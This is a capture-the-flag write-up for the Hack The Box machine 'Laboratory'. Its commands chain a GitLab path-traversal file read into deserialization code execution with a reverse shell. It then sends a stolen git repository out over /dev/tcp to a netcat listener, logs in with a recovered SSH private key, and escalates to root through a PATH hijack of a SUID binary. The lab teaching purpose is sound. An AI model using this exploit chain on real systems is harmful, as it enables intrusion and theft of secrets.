HackTheBox - Laboratory

HackTheBox - Laboratory

Laboratory is features an instance of GitLab application in a docker container. The application is known to be vulnerable to an arbitrary file read that can be leveraged to read the application’s secret, allowing an attacker to craft his own malicious cookie and perform a de-serialization attack to gain a foothold on the container. Enumerating inside the container reveals a private user repository that contains a pair of SSH keys. The keys allows me to logs into the machine. From there, I’m able to gain a foothold on the box using the SSH private key. There is a SUID binary that calls chmod with relative path, making it vulnerable to path hijacking.

Skills Learned

  • Arbitrary File Read
  • Adding Metasploit module
  • Exploiting GitLab 12.8.1~12.9.0
  • Recover a git repository
  • SUID exploitation




Initial scan with nmap shows 3 ports open, they are SSH on port 22, HTTP on port 80, and HTTPS on port 443.

→ root@iamf «laboratory» «»
$ nmap -sC -sV -oA scans/10-initial-laboratory
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Issuer: commonName=laboratory.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-05T10:39:28
| Not valid after:  2024-03-03T10:39:28
| MD5:   2873 91a5 5022 f323 4b95 df98 b61a eb6c
|_SHA-1: 0875 3a7e eef6 8f50 0349 510d 9fbf abc3 c70a a1ca
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the scan above, visiting port 80 will be redirected to https://laboratory.htb.

On the HTTPS port, the certificate discloses a subdomain.

From here, I’ll add laboratory.htb and git.laboratory.htb as well to /etc/hosts

→ root@iamf «laboratory» «»
$ echo ' laboratory.htb git.laboratory.htb' > /etc/hosts


TCP 80 - laboratory.htb

There is nothing really interesting here.


TCP 443 - git.laboratory.htb

A GitLab instance is presented on this page.


I tried to register an account, but GitLab rejected it by saying the email domain was not authorized.


I changed my email to iamf@laboratory.htb and it works.

The first thing I do is to check the GitLab version. It is available on the “Help” section and the current version is 12.8.1.


I found another user on this website named Dexter McPherson. This user has a project called SecureWebsite



searchsploit shows several exploits for GitLab. One that stands out is an arbitrary file read vulnerability on version 12.9.0 which might work as well on version 12.8.1.

→ root@iamf «laboratory» «»
$ searchsploit gitlab
------------------------------------------------------------------------- -----------------------------
Exploit Title                                                           |  Path
------------------------------------------------------------------------- -----------------------------
GitLab - 'impersonate' Feature Privilege Escalation                      | ruby/webapps/40236.txt
GitLab 11.4.7 - RCE (Authenticated) (2)                                  | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) (1)                | ruby/webapps/49257.py
GitLab 12.9.0 - Arbitrary File Read                                      | ruby/webapps/48431.txt
Gitlab 12.9.0 - Arbitrary File Read (Authenticated)                      | ruby/webapps/49076.py
Gitlab 6.0 - Persistent Cross-Site Scripting                             | php/webapps/30329.sh
Gitlab-shell - Code Execution (Metasploit)                               | linux/remote/34362.rb
Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting        | java/webapps/47927.txt
NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution          | json/webapps/47420.txt
------------------------------------------------------------------------- ------------------------------


Shell as git

GitLab CVE-2020-10977 - Manual

CVE-2020-10977: GitLab EE/CE 8.5 to 12.9 is vulnerable to a path traversal when moving an issue between projects.

The arbitrary file read vulnerability is classified as CVE-2020–10977. The report can be found at Hackerone. The researcher also shows how that vulnerability can be turned into a remote code execution.

I’ll reproduce the vulnerability by creating two projects. I’ll name it as “project1” and “project2”.


After that I’ll create an issue on “project2” and fill the issue description with a payload as follows:



I’ll then move the issue on “project2” to “project1”


The payload will then turn into an attached file.


The attached file contains the content of /etc/passwd file from the system.


GitLab CVE-2020-10977 - Automated

There is also an automated version to exploit this vulnerability written in Python.

→ root@iamf «laboratory» «»
$ python3 cve_2020_10977.py https://git.laboratory.htb/ iamf iamfiamf

[+] Target        : https://git.laboratory.htb
[+] Username      : iamf
[+] Password      : iamfiamf
[+] Project Names : ProjectOne, ProjectTwo

[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : https://git.laboratory.htb/iamf/ProjectTwo/uploads/9335567cda468be5d53e6ddcca1412e4/passwd

> /etc/passwd



To turns this arbitrary file read vulnerability into a remote code execution, I’ll need to setup my own GitLab instance with the same version as the one on Laboratory. Then I’ll have to replace my GitLab secret_key_base with the one on Laboratory (located on /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml). After that all is set, I’ve to craft my own cookie to get the code execution on the system.

Fortunately, there is a Metasploit module to perform this automatically, and I’ll use that.

First, I’ll have to grab the module from GitHub and put it into /usr/share/metasploit-framework/modules/exploits/multi/http.

→ root@iamf «laboratory» «»
$ cd /usr/share/metasploit-framework/modules/exploits/multi/http && wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/gitlab_file_read_rce.rb

After that I’ll re-initialize the metasploit database using msfdb.

→ root@iamf «laboratory» «»
$ msfdb reinit
[+] Starting database
[+] Dropping databases 'msf'
[+] Dropping databases 'msf_test'
[+] Dropping database user 'msf'
[+] Deleting configuration file /usr/share/metasploit-framework/config/database.yml
[+] Stopping database
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

Now on Metasploit, I can use the module by issuing the command below:

msf6 > use exploit/multi/http/gitlab_file_read_rce
[*] No payload configured, defaulting to generic/shell_reverse_tcp

Below are the options needed by the module.

msf6 exploit(multi/http/gitlab_file_read_rce) > set USERNAME iamf
USERNAME => iamf
msf6 exploit(multi/http/gitlab_file_read_rce) > set PASSWORD iamfiamf
PASSWORD => iamfiamf
msf6 exploit(multi/http/gitlab_file_read_rce) > set RHOSTS
msf6 exploit(multi/http/gitlab_file_read_rce) > set RPORT 443
RPORT => 443
msf6 exploit(multi/http/gitlab_file_read_rce) > set SSL true
[!] Changing the SSL option’s value may require changing RPORT!
SSL => true
msf6 exploit(multi/http/gitlab_file_read_rce) > set VHOST git.laboratory.htb
VHOST => git.laboratory.htb
msf6 exploit(multi/http/gitlab_file_read_rce) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/http/gitlab_file_read_rce) > set LPORT 9001
LPORT => 9001

After all the required options are set, I’ll start the exploit with the run command.

msf6 exploit(multi/http/gitlab_file_read_rce) > run
[*] Started reverse TCP handler on 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user iamf
[*] Created project /iamf/hpt2TORA
[*] Created project /iamf/ysGE0u0L
[*] Created issue /iamf/hpt2TORA/issues/1
[*] Executing arbitrary file load
[+] File saved as: '/root/.msf4/loot/20210321174611_default_10.10.10.216_gitlab.secrets_490542.txt'
[+] Extracted secret_key_base 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
[*] NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read
[*] Attempting to delete project /iamf/hpt2TORA
[*] Deleted project /iamf/hpt2TORA
[*] Attempting to delete project /iamf/ysGE0u0L
[*] Deleted project /iamf/ysGE0u0L
[*] Command shell session 1 opened ( -> at 2021-03-21 17:46:14 -0400

uid=998(git) gid=998(git) groups=998(git)

I have shell as user git.

There is a .dockerenv file in the root directory, which indicates that I’m inside a docker container.

ls -la /
total 88
drwxr-xr-x   1 root root 4096 Jul  2  2020 .
drwxr-xr-x   1 root root 4096 Jul  2  2020 ..
-rwxr-xr-x   1 root root    0 Jul  2  2020 .dockerenv
-rw-r--r--   1 root root  157 Feb 24  2020 RELEASE
drwxr-xr-x   2 root root 4096 Feb 24  2020 assets

Privilege Escalation

Shell as dexter

Container enumeration

Enumerating the git home directory (/var/opt/gitlab) discovers two repositories that belongs to user dexter.

git@git:~$ grep -Ri dexter 2>/dev/null

git-data/repositories/@hashed/19/58/19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git/config:        fullpath = dexter/securedocker
git-data/repositories/@hashed/2c/62/2c624232cdd221771294dfbb310aca000a0df6ac8b66b696d90ef06fdefb64a3.git/config:        fullpath = dexter/securewebsite

I haven’t seen that dexter/securedocker before in the GitLab application. So I’ll grab that repository and transfer it to my machine

git@git:~/git-data/repositories/@hashed/19/58$ ls -la 19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git
total 40
drwxr-s---  6 git root 4096 Jul  5  2020 .
drwxr-s---  4 git root 4096 Jul  5  2020 ..
-rw-r--r--  1 git root   23 Jul  5  2020 HEAD
-rw-r--r--  1 git root  107 Jul  5  2020 config
-rw-r--r--  1 git root   73 Jul  5  2020 description
drwxr-sr-x  2 git root 4096 Jul  5  2020 hooks
drwxr-sr-x  2 git root 4096 Jul  5  2020 info
-rw-r--r--  1 git root  112 Jul  5  2020 language-stats.cache
drwxr-sr-x 14 git root 4096 Jul  5  2020 objects
drwxr-sr-x  4 git root 4096 Jul  5  2020 refs

First, I’ll create a tarball archive of that repository and I’ll name it as exfil-securedocker-git.tar.

git@git:~/git-data/repositories/@hashed/19/58/$ tar -czf /tmp/exfil-securedocker-git.tar 19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git

On my machine, I’ll setup a listener

→ root@iamf «loot» «»
$ nc -nvlp 9000 > exfil-securedocker-git.tar

Back on Laboratory, I’ll send the repository tarball to my machine using cat and bash trick

git@git:~/git-data/repositories/@hashed/19/58/$ cat /tmp/exfil-securedocker-git.tar > /dev/tcp/

My listener received the tarball.

→ root@iamf «loot» «»
$ nc -nvlp 9000 > exfil-securedocker-git.tar
listening on [any] 9000 ...
connect to [] from (UNKNOWN) [] 42426

Recovering ‘securedocker’ repository

After extracting the repository, git:(master) popped up in my zsh prompt which indicates this is a git repository.

→ root@iamf «loot» «»
$ tar -xzf exfil-securedocker-git.tar
→ root@iamf «loot» «»
$ cd 19581e27de7ced....5ef03f7c3017bb5b7.git
→ root@iamf «19581e27de7ced....5ef03f7c3017bb5b7.git» «» git:(master)

But, when I try to read the repository status, it returns the following errors.

→ root@iamf «19581e27de7ced....5ef03f7c3017bb5b7.git» «» git:(master)
$ git status
fatal: this operation must be run in a work tree

I’ve renamed 19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git to secure-docker.git.

This problem can be resolved by creating a new .git folder within secure-docker.git and transferring all the files from secure-docker.git to the newly created .git.

→ root@iamf «secure-docker.git» «» git:(master)
$ mkdir .git
→ root@iamf «secure-docker.git» «» git:(master)
$ mv * .git
→ root@iamf «secure-docker.git» «» git:(master)
$ git status
fatal: this operation must be run in a work tree

Finally, use the git init command to re-initialize the git repository.

→ root@iamf «secure-docker.git» «» git:(master)
$ git init
Reinitialized existing Git repository in /root/htb/to-do/laboratory/loot/secure-docker.git/.git/
→ root@iamf «secure-docker.git» «» git:(master) ✗
$ git status
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        deleted:    README.md
        deleted:    create_gitlab.sh
        deleted:    dexter/.ssh/authorized_keys
        deleted:    dexter/.ssh/id_rsa
        deleted:    dexter/recipe.url
        deleted:    dexter/todo.txt

This repository contains a set of SSH keys that have been deleted. I can restore these with git checkout -- command.

→ root@iamf «secure-docker.git» «» git:(master) ✗
$ git checkout --
→ root@iamf «secure-docker.git» «» git:(master) ✗
$ ls -la
total 20
drwxr-xr-x 3 root root 4096 Mar 22 09:36 .
drwxr-xr-x 4 root root 4096 Mar 22 09:36 ..
-rw-r--r-- 1 root root  102 Mar 22 09:36 recipe.url
drwxr-xr-x 2 root root 4096 Mar 22 09:36 .ssh
-rw-r--r-- 1 root root  160 Mar 22 09:36 todo.txt

SSH - dexter

I can now login as dexter using the SSH key I obtained.

At first try, it says the key is invalid format, but this can be fixed wit by adding an empty string (newline) using the echo command.

→ root@iamf «secure-docker.git» «» git:(master) ✗
$ chmod 600 dexter/.ssh/id_rsa
→ root@iamf «secure-docker.git» «» git:(master) ✗
$ ssh -i dexter/.ssh/id_rsa dexter@
Load key "id_rsa": invalid format
dexter@ Permission denied (publickey).
→ root@iamf «secure-docker.git» «» git:(master) ✗
$ echo '' >> dexter/.ssh/id_rsa

Now it logs me in.

→ root@iamf «secure-docker.git» «» git:(master) ✗
$ ssh -i id_rsa dexter@
dexter@laboratory:~$ id;hostname
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
dexter@laboratory:~$ ls -l
total 4
-r--r----- 1 root dexter 33 Mar 22 10:06 user.txt

Shell as root


The contents of todo.txt talks something about “docker security”, but I have no idea what it is except it uses three hashtags.

→ root@iamf «secure-docker.git» «» git:(master) ✗
$ cat dexter/todo.txt
# DONE: Secure docker for regular users
### DONE: Automate docker security on startup
# TODO: Look into "docker compose"
# TODO: Permanently ban DeeDee from lab#

It turns out it’s a binary name which has a SUID bit set found by Linpeas.

════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════

[+] SUID - Check easy privesc, exploits and write perms                                                                                
-rwsr-xr-x 1 root   dexter           17K Aug 28  2020 /usr/local/bin/docker-security

Inspecting the binary with the ltrace command reveals that it uses relative path to call chmod.

dexter@laboratory:~$ ltrace docker-security 

setuid(0)                                                                                                = -1
setgid(0)                                                                                                = -1
system("chmod 700 /usr/bin/docker"chmod: changing permissions of '/usr/bin/docker': Operation not permitted
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                   = 256
system("chmod 660 /var/run/docker.sock"chmod: changing permissions of '/var/run/docker.sock': Operation not permitted
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                   = 256
+++ exited (status 0) +++

Knowing this, I could hijack the execution path.

SUID - Path Hijack

First, I’ll create a fake chmod that calls bash binary at /dev/shm, I’ll also add an execute permission on that file.

dexter@laboratory:~$ cd /dev/shm
dexter@laboratory:/dev/shm$ echo -e '#!/bin/bash\n/bin/bash' > chmod
dexter@laboratory:/dev/shm$ /bin/chmod +x chmod

Next, I’ll add current directory (/dev/shm) to $PATH variable. Now if I call chmod, it points to my chmod on /dev/shm.

dexter@laboratory:/dev/shm$ export PATH=$(pwd):$PATH
dexter@laboratory:/dev/shm$ which chmod

And now I can just execute docker-security to obtain a root access as well as the root flag.

dexter@laboratory:/dev/shm$ docker-security 
root@laboratory:/dev/shm# cut -c6- /root/root.txt